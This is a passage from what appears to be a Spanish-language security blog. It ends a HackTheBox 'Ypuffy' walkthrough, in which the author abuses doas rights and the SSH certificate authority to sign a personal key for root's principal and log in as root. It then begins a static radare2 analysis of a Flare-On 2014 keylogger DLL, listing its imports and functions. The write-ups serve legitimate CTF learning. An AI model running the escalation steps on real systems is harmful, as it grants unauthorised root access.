</span></span></code></pre></div><p>Esto significa que cualquier usuario puede preguntar por la lista de principals, y usarlo para otorgar accesos teniendo los privilegios adecuados hacia el archivo CA (doas). Y eso es precisamente lo que haremos.</p>
<h1 id="abusing-ssh-ca">Abusing SSH CA</h1>
<h2 id="creating-new-pair-of-rsa-key">Creating new pair of rsa key</h2>
<p>Comenzamos por generar unas llaves RSA como alice:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ ssh-keygen -t rsa
</span></span><span style="display:flex;"><span>Generating public/private rsa key pair.
</span></span><span style="display:flex;"><span>Enter file in which to save the key (/home/alice1978/.ssh/id_rsa): /tmp/.miu/meh
</span></span><span style="display:flex;"><span>Enter passphrase (empty for no passphrase):
</span></span><span style="display:flex;"><span>Enter same passphrase again:
</span></span><span style="display:flex;"><span>Your identification has been saved in /tmp/.miu/meh.
</span></span><span style="display:flex;"><span>Your public key has been saved in /tmp/.miu/meh.pub.
</span></span><span style="display:flex;"><span>The key fingerprint is:
</span></span><span style="display:flex;"><span>SHA256:h/p3lA1K73dZtbbhz3UhGChRcIZ7wMpilfHW1f2FCi0 alice1978@ypuffy.hackthebox.htb
</span></span><span style="display:flex;"><span>The key&#39;s randomart image is:
</span></span><span style="display:flex;"><span>+---[RSA 2048]----+
</span></span><span style="display:flex;"><span>|     .+o++ o. .. |
</span></span><span style="display:flex;"><span>|     o.+= E .....|
</span></span><span style="display:flex;"><span>|    o .+oo + .  o|
</span></span><span style="display:flex;"><span>|   o o...o. =   o|
</span></span><span style="display:flex;"><span>|  . .   S..+ = .o|
</span></span><span style="display:flex;"><span>|       . .. + o+o|
</span></span><span style="display:flex;"><span>|      .    o  o B|
</span></span><span style="display:flex;"><span>|       .  . o .=+|
</span></span><span style="display:flex;"><span>|        .. . . .+|
</span></span><span style="display:flex;"><span>+----[SHA256]-----+
</span></span><span style="display:flex;"><span>ypuffy$ ls -lah
</span></span><span style="display:flex;"><span>total 28
</span></span><span style="display:flex;"><span>drwxrwxrwx  2 alice1978  wheel   512B Jan  9 03:15 .
</span></span><span style="display:flex;"><span>drwxrwxrwt  8 root       wheel   512B Jan  9 03:10 ..
</span></span><span style="display:flex;"><span>-rw-------  1 alice1978  wheel   1.6K Jan  9 03:14 meh
</span></span><span style="display:flex;"><span>-rw-r--r--  1 alice1978  wheel   413B Jan  9 03:14 meh.pub
</span></span><span style="display:flex;"><span>ypuffy$ chmod 777 meh.pub
</span></span></code></pre></div><p>Al final hice accesible mi llave publica meh para cualquiera.</p>
<h2 id="security-zone-of-root">Security zone of root</h2>
<p>Como queremos saber en que zona de seguridad esta el usuario root, por lo que usamos localmente la validación que aprendimos por sshd y ejecutamos como cualquier usuario curl</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ /usr/local/bin/curl &#39;http://127.0.0.1/sshauth?type=principals&amp;username=root&#39;
</span></span><span style="display:flex;"><span>3m3rgencyB4ckd00r
</span></span></code></pre></div><p>Ya tenemos la zona, ahora pasemos al firmado.</p>
<h2 id="signing-key-to-trusted-ca">Signing key to trusted CA</h2>
<p>Como hemos visto, el archivo de CA solo podía ser accedido por el usuario userca, por lo que tomando en cuenta las capacidades de DOAS, firmamos nuestro certificado para que tenga acceso a la misma zona de root.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I miau3 -n 3m3rgencyB4ckd00r -z 1 /tmp/.miu/meh.pub
</span></span><span style="display:flex;"><span>Signed user key /tmp/.miu/meh-cert.pub: id &#34;miau3&#34; serial 1 for 3m3rgencyB4ckd00r valid forever
</span></span></code></pre></div><p>Finalmente, ingresamos como root usando el certificado que acabamos de autorizar.</p>
<h1 id="login-as-root">login as root</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ ssh root@127.0.0.1 -i meh
</span></span><span style="display:flex;"><span>OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Welcome to OpenBSD: The proactively secure Unix-like operating system.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please use the sendbug(1) utility to report bugs in the system.
</span></span><span style="display:flex;"><span>Before reporting a bug, please try to reproduce it with the latest
</span></span><span style="display:flex;"><span>version of the code.  With bug reports, please try to ensure that
</span></span><span style="display:flex;"><span>enough information to reproduce the problem is enclosed, and if a
</span></span><span style="display:flex;"><span>known fix for it exists, include that as well.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ypuffy# id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
</span></span><span style="display:flex;"><span>ypuffy# ls
</span></span><span style="display:flex;"><span>.Xdefaults .cache     .cshrc     .cvsrc     .login     .profile   root.txt
</span></span></code></pre></div><h1 id="cat-roottxt">cat root.txt</h1>
<p><code>ypuffy# cat root.txt</code></p>
<p>&hellip; We got root flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>Flare-on 2014 - Challenge 05: 5get it</title><link>https://www.xbyte.mx/posts/flareon2014_-_challenge05/</link><pubDate>Tue, 05 Feb 2019 00:09:23 -0600</pubDate><guid>https://www.xbyte.mx/posts/flareon2014_-_challenge05/</guid><description>&lt;p&gt;5get_it, el quinto reto del primer flare-on de Fireeye. No puedo más que decirles que este si que me ha costado. Comencemos con el writeup de este keylogger.&lt;/p&gt;</description><content type="html"><![CDATA[<p>5get_it, el quinto reto del primer flare-on de Fireeye. No puedo más que decirles que este si que me ha costado. Comencemos con el writeup de este keylogger.</p>
<p>Bien comenzamos por descomprimir el challenge &ldquo;C5.zip&rdquo;, el cual esta protegido por la contraseña &ldquo;malware&rdquo;.</p>
<blockquote>
<p>Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga [aquí][c2c76e1c]
[c2c76e1c]: <a href="http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip">http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip</a> &ldquo;Flare-On 2014&rdquo;</p>
</blockquote>
<p><img src="/img/flareon2014-c5/unzip.png" alt="Unzip"></p>
<p>Tomamos algo de información base sobre el binario:</p>
<p><img src="/img/flareon2014-c5/informacion-base.png" alt="Información Base"></p>
<p>Ok, tenemos el primer vistazo que nos dice que tratamos con una DLL que no se encuentra empaquetada, con formato PE para 32 bits y que salvo la imagen base, todo parece normal.</p>
<p>Continuemos identificándolo en radare2:</p>
<p><img src="/img/flareon2014-c5/ia1.png" alt="Análisis base de Radare2"></p>
<p>El show info all o <em>ia</em> de radare2 nos entrega mucha información, que coincide con lo primero que empezamos a observar, adicionalmente nos devuelve que tenemos bastante funciones importadas (al menos 82) las cuales no coloco en imagen para no perderlas de vista:</p>
<table>
  <thead>
      <tr>
          <th>Num</th>
          <th>Vaddr</th>
          <th>Bind</th>
          <th>Type</th>
          <th>Name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>0x10014000</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>ADVAPI32.dll_RegQueryValueExA</td>
      </tr>
      <tr>
          <td>2</td>
          <td>0x10014004</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>ADVAPI32.dll_RegOpenKeyExA</td>
      </tr>
      <tr>
          <td>3</td>
          <td>0x10014008</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>ADVAPI32.dll_RegSetValueExA</td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x1001400c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>ADVAPI32.dll_RegCreateKeyA</td>
      </tr>
      <tr>
          <td>5</td>
          <td>0x10014010</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>ADVAPI32.dll_RegCloseKey</td>
      </tr>
      <tr>
          <td>1</td>
          <td>0x10014018</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_Sleep</td>
      </tr>
      <tr>
          <td>2</td>
          <td>0x1001401c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetModuleHandleA</td>
      </tr>
      <tr>
          <td>3</td>
          <td>0x10014020</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_CopyFileA</td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x10014024</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetModuleFileNameA</td>
      </tr>
      <tr>
          <td>5</td>
          <td>0x10014028</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetLastError</td>
      </tr>
      <tr>
          <td>6</td>
          <td>0x1001402c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetModuleHandleExA</td>
      </tr>
      <tr>
          <td>7</td>
          <td>0x10014030</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_AllocConsole</td>
      </tr>
      <tr>
          <td>8</td>
          <td>0x10014034</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_CreateFileW</td>
      </tr>
      <tr>
          <td>9</td>
          <td>0x10014038</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetStringTypeW</td>
      </tr>
      <tr>
          <td>10</td>
          <td>0x1001403c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_LCMapStringW</td>
      </tr>
      <tr>
          <td>11</td>
          <td>0x10014040</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapSize</td>
      </tr>
      <tr>
          <td>12</td>
          <td>0x10014044</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapAlloc</td>
      </tr>
      <tr>
          <td>13</td>
          <td>0x10014048</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_EnterCriticalSection</td>
      </tr>
      <tr>
          <td>14</td>
          <td>0x1001404c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_LeaveCriticalSection</td>
      </tr>
      <tr>
          <td>15</td>
          <td>0x10014050</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetCurrentThreadId</td>
      </tr>
      <tr>
          <td>16</td>
          <td>0x10014054</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_DecodePointer</td>
      </tr>
      <tr>
          <td>17</td>
          <td>0x10014058</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetCommandLineA</td>
      </tr>
      <tr>
          <td>18</td>
          <td>0x1001405c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapFree</td>
      </tr>
      <tr>
          <td>19</td>
          <td>0x10014060</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_CloseHandle</td>
      </tr>
      <tr>
          <td>20</td>
          <td>0x10014064</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_UnhandledExceptionFilter</td>
      </tr>
      <tr>
          <td>21</td>
          <td>0x10014068</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetUnhandledExceptionFilter</td>
      </tr>
      <tr>
          <td>22</td>
          <td>0x1001406c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_IsDebuggerPresent</td>
      </tr>
      <tr>
          <td>23</td>
          <td>0x10014070</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_EncodePointer</td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x10014074</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_TerminateProcess</td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x10014078</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetCurrentProcess</td>
      </tr>
      <tr>
          <td>26</td>
          <td>0x1001407c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetHandleCount</td>
      </tr>
      <tr>
          <td>27</td>
          <td>0x10014080</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetStdHandle</td>
      </tr>
      <tr>
          <td>28</td>
          <td>0x10014084</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_InitializeCriticalSectionAndSpinCount</td>
      </tr>
      <tr>
          <td>29</td>
          <td>0x10014088</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetFileType</td>
      </tr>
      <tr>
          <td>30</td>
          <td>0x1001408c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetStartupInfoW</td>
      </tr>
      <tr>
          <td>31</td>
          <td>0x10014090</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_DeleteCriticalSection</td>
      </tr>
      <tr>
          <td>32</td>
          <td>0x10014094</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_RtlUnwind</td>
      </tr>
      <tr>
          <td>33</td>
          <td>0x10014098</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_IsProcessorFeaturePresent</td>
      </tr>
      <tr>
          <td>34</td>
          <td>0x1001409c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetProcAddress</td>
      </tr>
      <tr>
          <td>35</td>
          <td>0x100140a0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetModuleHandleW</td>
      </tr>
      <tr>
          <td>36</td>
          <td>0x100140a4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_ExitProcess</td>
      </tr>
      <tr>
          <td>37</td>
          <td>0x100140a8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_WriteFile</td>
      </tr>
      <tr>
          <td>38</td>
          <td>0x100140ac</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetModuleFileNameW</td>
      </tr>
      <tr>
          <td>39</td>
          <td>0x100140b0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapCreate</td>
      </tr>
      <tr>
          <td>40</td>
          <td>0x100140b4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapDestroy</td>
      </tr>
      <tr>
          <td>41</td>
          <td>0x100140b8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_TlsAlloc</td>
      </tr>
      <tr>
          <td>42</td>
          <td>0x100140bc</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_TlsGetValue</td>
      </tr>
      <tr>
          <td>43</td>
          <td>0x100140c0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_TlsSetValue</td>
      </tr>
      <tr>
          <td>44</td>
          <td>0x100140c4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_TlsFree</td>
      </tr>
      <tr>
          <td>45</td>
          <td>0x100140c8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_InterlockedIncrement</td>
      </tr>
      <tr>
          <td>46</td>
          <td>0x100140cc</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetLastError</td>
      </tr>
      <tr>
          <td>47</td>
          <td>0x100140d0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_InterlockedDecrement</td>
      </tr>
      <tr>
          <td>48</td>
          <td>0x100140d4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_FreeEnvironmentStringsW</td>
      </tr>
      <tr>
          <td>49</td>
          <td>0x100140d8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_WideCharToMultiByte</td>
      </tr>
      <tr>
          <td>50</td>
          <td>0x100140dc</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetEnvironmentStringsW</td>
      </tr>
      <tr>
          <td>51</td>
          <td>0x100140e0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_QueryPerformanceCounter</td>
      </tr>
      <tr>
          <td>52</td>
          <td>0x100140e4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetTickCount</td>
      </tr>
      <tr>
          <td>53</td>
          <td>0x100140e8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetCurrentProcessId</td>
      </tr>
      <tr>
          <td>54</td>
          <td>0x100140ec</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetSystemTimeAsFileTime</td>
      </tr>
      <tr>
          <td>55</td>
          <td>0x100140f0</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetStdHandle</td>
      </tr>
      <tr>
          <td>56</td>
          <td>0x100140f4</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetConsoleCP</td>
      </tr>
      <tr>
          <td>57</td>
          <td>0x100140f8</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetConsoleMode</td>
      </tr>
      <tr>
          <td>58</td>
          <td>0x100140fc</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_FlushFileBuffers</td>
      </tr>
      <tr>
          <td>59</td>
          <td>0x10014100</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_CreateFileA</td>
      </tr>
      <tr>
          <td>60</td>
          <td>0x10014104</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_LoadLibraryW</td>
      </tr>
      <tr>
          <td>61</td>
          <td>0x10014108</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetCPInfo</td>
      </tr>
      <tr>
          <td>62</td>
          <td>0x1001410c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetACP</td>
      </tr>
      <tr>
          <td>63</td>
          <td>0x10014110</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetOEMCP</td>
      </tr>
      <tr>
          <td>64</td>
          <td>0x10014114</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_IsValidCodePage</td>
      </tr>
      <tr>
          <td>65</td>
          <td>0x10014118</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_HeapReAlloc</td>
      </tr>
      <tr>
          <td>66</td>
          <td>0x1001411c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_WriteConsoleW</td>
      </tr>
      <tr>
          <td>67</td>
          <td>0x10014120</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_MultiByteToWideChar</td>
      </tr>
      <tr>
          <td>68</td>
          <td>0x10014124</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetFilePointer</td>
      </tr>
      <tr>
          <td>69</td>
          <td>0x10014128</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_SetEndOfFile</td>
      </tr>
      <tr>
          <td>70</td>
          <td>0x1001412c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_GetProcessHeap</td>
      </tr>
      <tr>
          <td>71</td>
          <td>0x10014130</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>KERNEL32.dll_ReadFile</td>
      </tr>
      <tr>
          <td>1</td>
          <td>0x10014138</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_ShowWindow</td>
      </tr>
      <tr>
          <td>2</td>
          <td>0x1001413c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_GetAsyncKeyState</td>
      </tr>
      <tr>
          <td>3</td>
          <td>0x10014140</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_GetWindowLongA</td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x10014144</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_DialogBoxIndirectParamW</td>
      </tr>
      <tr>
          <td>5</td>
          <td>0x10014148</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_EndDialog</td>
      </tr>
      <tr>
          <td>6</td>
          <td>0x1001414c</td>
          <td>NONE</td>
          <td>FUNC</td>
          <td>USER32.dll_FindWindowA</td>
      </tr>
  </tbody>
</table>
<p>Tenemos básicamente 3 bibliotecas dinámicas de las que importamos funciones: user32.dll, kernel32.dll y advapi32.dll. Decidí que para este writeup tengamos un enfoque mas estático de lo que a continuación sucede, ya que en un análisis mas tradicional, continuaríamos por la parte dinámica.</p>
<p>Comenzamos por llamar al shorcut de análisis:</p>
<p><img src="/img/flareon2014-c5/aaaa.png" alt="AAAA"></p>
<p>Ok, con el análisis completado, veamos que funciones pudimos recuperar:</p>
<p><img src="/img/flareon2014-c5/afl.png" alt="afl"></p>
<p>Como el resultado de afl era muy extenso, decidí convertirlo en tabla:</p>
<table>
  <thead>
      <tr>
          <th>address</th>
          <th>nbbs</th>
          <th>size</th>
          <th>name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0x10001000</td>
          <td>4</td>
          <td>85</td>
          <td>sub.KERNEL32.dll_Sleep_0</td>
      </tr>
      <tr>
          <td>0x10001060</td>
          <td>1</td>
          <td>425</td>
          <td>fcn.10001060</td>
      </tr>
      <tr>
          <td>0x10001240</td>
          <td>1</td>
          <td>1024</td>
          <td>fcn.10001240</td>
      </tr>
      <tr>
          <td>0x10009340</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009340</td>
      </tr>
      <tr>
          <td>0x100093b0</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.100093b0</td>
      </tr>
      <tr>
          <td>0x100093c0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100093c0</td>
      </tr>
      <tr>
          <td>0x100093d0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100093d0</td>
      </tr>
      <tr>
          <td>0x100093e0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100093e0</td>
      </tr>
      <tr>
          <td>0x100093f0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100093f0</td>
      </tr>
      <tr>
          <td>0x10009400</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009400</td>
      </tr>
      <tr>
          <td>0x10009410</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009410</td>
      </tr>
      <tr>
          <td>0x10009420</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009420</td>
      </tr>
      <tr>
          <td>0x10009430</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009430</td>
      </tr>
      <tr>
          <td>0x10009440</td>
          <td>6</td>
          <td>77</td>
          <td>fcn.10009440</td>
      </tr>
      <tr>
          <td>0x10009490</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009490</td>
      </tr>
      <tr>
          <td>0x100094a0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100094a0</td>
      </tr>
      <tr>
          <td>0x100094b0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100094b0</td>
      </tr>
      <tr>
          <td>0x100094c0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100094c0</td>
      </tr>
      <tr>
          <td>0x100094d0</td>
          <td>6</td>
          <td>77</td>
          <td>fcn.100094d0</td>
      </tr>
      <tr>
          <td>0x10009520</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009520</td>
      </tr>
      <tr>
          <td>0x10009530</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009530</td>
      </tr>
      <tr>
          <td>0x10009540</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009540</td>
      </tr>
      <tr>
          <td>0x10009550</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009550</td>
      </tr>
      <tr>
          <td>0x10009560</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009560</td>
      </tr>
      <tr>
          <td>0x10009570</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009570</td>
      </tr>
      <tr>
          <td>0x10009580</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009580</td>
      </tr>
      <tr>
          <td>0x10009590</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009590</td>
      </tr>
      <tr>
          <td>0x100095a0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100095a0</td>
      </tr>
      <tr>
          <td>0x100095b0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.100095b0</td>
      </tr>
      <tr>
          <td>0x100097d0</td>
          <td>8</td>
          <td>108</td>
          <td>fcn.100097d0</td>
      </tr>
      <tr>
          <td>0x10009840</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009840</td>
      </tr>
      <tr>
          <td>0x10009850</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009850</td>
      </tr>
      <tr>
          <td>0x10009880</td>
          <td>10</td>
          <td>139</td>
          <td>fcn.10009880</td>
      </tr>
      <tr>
          <td>0x10009910</td>
          <td>6</td>
          <td>77</td>
          <td>fcn.10009910</td>
      </tr>
      <tr>
          <td>0x10009960</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009960</td>
      </tr>
      <tr>
          <td>0x10009990</td>
          <td>8</td>
          <td>108</td>
          <td>fcn.10009990</td>
      </tr>
      <tr>
          <td>0x10009a00</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009a00</td>
      </tr>
      <tr>
          <td>0x10009a30</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009a30</td>
      </tr>
      <tr>
          <td>0x10009a60</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009a60</td>
      </tr>
      <tr>
          <td>0x10009a70</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009a70</td>
      </tr>
      <tr>
          <td>0x10009aa0</td>
          <td>6</td>
          <td>77</td>
          <td>fcn.10009aa0</td>
      </tr>
      <tr>
          <td>0x10009af0</td>
          <td>3</td>
          <td>29</td>
          <td>fcn.10009af0</td>
      </tr>
      <tr>
          <td>0x10009b10</td>
          <td>6</td>
          <td>77</td>
          <td>fcn.10009b10</td>
      </tr>
      <tr>
          <td>0x10009b60</td>
          <td>12</td>
          <td>173</td>
          <td>fcn.10009b60</td>
      </tr>
      <tr>
          <td>0x10009c10</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009c10</td>
      </tr>
      <tr>
          <td>0x10009c20</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009c20</td>
      </tr>
      <tr>
          <td>0x10009c30</td>
          <td>8</td>
          <td>108</td>
          <td>fcn.10009c30</td>
      </tr>
      <tr>
          <td>0x10009ca0</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009ca0</td>
      </tr>
      <tr>
          <td>0x10009cd0</td>
          <td>12</td>
          <td>173</td>
          <td>fcn.10009cd0</td>
      </tr>
      <tr>
          <td>0x10009d80</td>
          <td>4</td>
          <td>46</td>
          <td>fcn.10009d80</td>
      </tr>
      <tr>
          <td>0x10009db0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009db0</td>
      </tr>
      <tr>
          <td>0x10009dc0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009dc0</td>
      </tr>
      <tr>
          <td>0x10009dd0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009dd0</td>
      </tr>
      <tr>
          <td>0x10009de0</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10009de0</td>
      </tr>
      <tr>
          <td>0x10009e30</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.10009e30</td>
      </tr>
      <tr>
          <td>0x10009e40</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.10009e40</td>
      </tr>
      <tr>
          <td>0x10009e50</td>
          <td>1</td>
          <td>10</td>
          <td>sub.RETURN_e50</td>
      </tr>
      <tr>
          <td>0x10009e60</td>
          <td>1</td>
          <td>10</td>
          <td>sub.BACKSPACE_e60</td>
      </tr>
      <tr>
          <td>0x10009e70</td>
          <td>1</td>
          <td>10</td>
          <td>sub.TAB_e70</td>
      </tr>
      <tr>
          <td>0x10009e80</td>
          <td>1</td>
          <td>10</td>
          <td>sub.CTRL_e80</td>
      </tr>
      <tr>
          <td>0x10009e90</td>
          <td>1</td>
          <td>10</td>
          <td>sub.DELETE_e90</td>
      </tr>
      <tr>
          <td>0x10009ea0</td>
          <td>1</td>
          <td>10</td>
          <td>sub.CAPS_LOCK_ea0</td>
      </tr>
      <tr>
          <td>0x10009eb0</td>
          <td>114</td>
          <td>1274-&gt; 1125</td>
          <td>sub.USER32.dll_GetAsyncKeyState_eb0</td>
      </tr>
      <tr>
          <td>0x1000a4c0</td>
          <td>9</td>
          <td>162</td>
          <td>sub.KERNEL32.dll_Sleep_4c0</td>
      </tr>
      <tr>
          <td>0x1000a570</td>
          <td>9</td>
          <td>157</td>
